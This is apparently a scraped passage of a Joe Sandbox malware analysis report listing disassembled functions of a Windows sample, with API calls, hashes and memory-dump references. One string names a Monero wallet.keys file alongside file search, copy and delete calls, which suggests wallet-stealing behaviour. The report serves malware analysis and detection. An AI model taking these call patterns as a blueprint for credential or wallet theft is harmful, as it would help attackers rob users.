Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 3b9cd17138d1bcb60e921d976f9283a0eb7d7a274b8294773e68a764f0ff1a76
Instruction ID: b36353f400d3ad3981cc0da8ffcdb96444a633dafb98b5eb504a81b0b89c28cc
Opcode Fuzzy Hash: 3b9cd17138d1bcb60e921d976f9283a0eb7d7a274b8294773e68a764f0ff1a76
Instruction Fuzzy Hash: 679136729101589BDF04FBA4DE96EEE7338BF24300F40456AF507A6291EF346A49CB76

Function 00ACB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

lstrlen.KERNEL32(00000000), ref: 00ACB42E
lstrlen.KERNEL32(00000000), ref: 00ACB442

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: e5033bbe3c531677f9a864713ecd5d556efa76c6635155891c0fd16d15d3a9fc
Instruction ID: 97518d4d06a36db82a5b1ab4b3aa2fc17693367fa9c3cde72244c3e97a8a6d87
Opcode Fuzzy Hash: e5033bbe3c531677f9a864713ecd5d556efa76c6635155891c0fd16d15d3a9fc
Instruction Fuzzy Hash: F07113729101589BDF04FBA4DE96EEE7338BF64300F40452AF507A6291EF346A09DB76

Function 00AD4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00AD4BEA
lstrcat.KERNEL32(?,0178D358), ref: 00AD4C08

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD492C
Part of subcall function 00AD4910: FindFirstFileA.KERNEL32(?,?), ref: 00AD4943

Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE0FDC), ref: 00AD4971
Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE0FE0), ref: 00AD4987
Part of subcall function 00AD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00AD4B7D
Part of subcall function 00AD4910: FindClose.KERNEL32(000000FF), ref: 00AD4B92

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD49B0
Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE08D2), ref: 00AD49C5
Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD49E2
Part of subcall function 00AD4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00AD4A1E
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,0178E3E0), ref: 00AD4A4A
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,00AE0FF8), ref: 00AD4A5C
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,?), ref: 00AD4A70
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,00AE0FFC), ref: 00AD4A82
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,?), ref: 00AD4A96
Part of subcall function 00AD4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00AD4AAC
Part of subcall function 00AD4910: DeleteFileA.KERNEL32(?), ref: 00AD4B31

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD4A07

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 529d3aa75d20d54534de40e642a10ab5096354af596dc4b8bdec6be8e59f2e0e
Instruction ID: 13a1b8b84cf279e4a1e4eb1eeda13d409e1e56c6b7ef9df51999a8e591318010
Opcode Fuzzy Hash: 529d3aa75d20d54534de40e642a10ab5096354af596dc4b8bdec6be8e59f2e0e
Instruction Fuzzy Hash: 2D41B8B760030467C754FBB4ED52FEE333DA799700F00854DB64A97286ED759B888BA2

Function 00AC6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00AC6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00AC6753

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5a3e7ad6be32466bc762a5ee1d32cf8ea8f96e74e82d746aeb0f2874ea67ba2e
Instruction ID: 289292ebd1b0f3e0db57d249a4a1f4fde9d3523101eec7e40f693eb221853e28
Opcode Fuzzy Hash: 5a3e7ad6be32466bc762a5ee1d32cf8ea8f96e74e82d746aeb0f2874ea67ba2e
Instruction Fuzzy Hash: 8D419974A00209EFCB44CF58C494FADBBB1FF48314F258699E9599B355D731AA81CF84

Function 00AD5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00AD508A
lstrcat.KERNEL32(?,0178DDA8), ref: 00AD50A8

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD492C
Part of subcall function 00AD4910: FindFirstFileA.KERNEL32(?,?), ref: 00AD4943

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ffa3834af99a2272ccfda4821eaa4cf01735e3ddcf1a7a7932f0c4f1b14ab5be
Instruction ID: f2b70777eb617ffc550ad8cac02c049452719396fdb73b39953823183eba8b77
Opcode Fuzzy Hash: ffa3834af99a2272ccfda4821eaa4cf01735e3ddcf1a7a7932f0c4f1b14ab5be
Instruction Fuzzy Hash: 2501967690030867CB54FB74DD42FEE733CAB64700F004559B68A97291EE759AC98BA2

Function 00AC10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00AC10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00AC10F7

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 6f4178a97fead4bab70c8983670b4c3e702ff09e2118aeee83f372cfe1b654e2
Instruction ID: b245a69dae88a3dca92e381dc18bce7a017081f74669d66c42b88b0ef261a799
Opcode Fuzzy Hash: 6f4178a97fead4bab70c8983670b4c3e702ff09e2118aeee83f372cfe1b654e2
Instruction Fuzzy Hash: 9BF0E271641308BBE7149BA8AC59FAAB7E8E705B15F305448F504E3380D5719E00CAA1

Function 00AD8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00AC1B54,?,?,00AE564C,?,?,00AE0E1F), ref: 00AD8D9F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b19c27c035991d5064c54efe7d38bd43267059d0d307bbde72e8073e4f2e7622
Instruction ID: b485317aaca208b21ac218b2561df96ecaa3ed5837637e7703a63d4195d52f17
Opcode Fuzzy Hash: b19c27c035991d5064c54efe7d38bd43267059d0d307bbde72e8073e4f2e7622
Instruction Fuzzy Hash: 34F0A570D00208EBDF04EFA4D5496DCBB75EB14310F10829AE866A73D0EB786A55DB81

Function 00AD8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 7fd7dbada81887592a724880a08c51d7aedbceef6152be3b2ba94a2fd6bb99d8
Instruction ID: b0f3c1e83db5d9c2dbe23db2898ab00b8d5ae00dc0763abf8540d40f824a8424
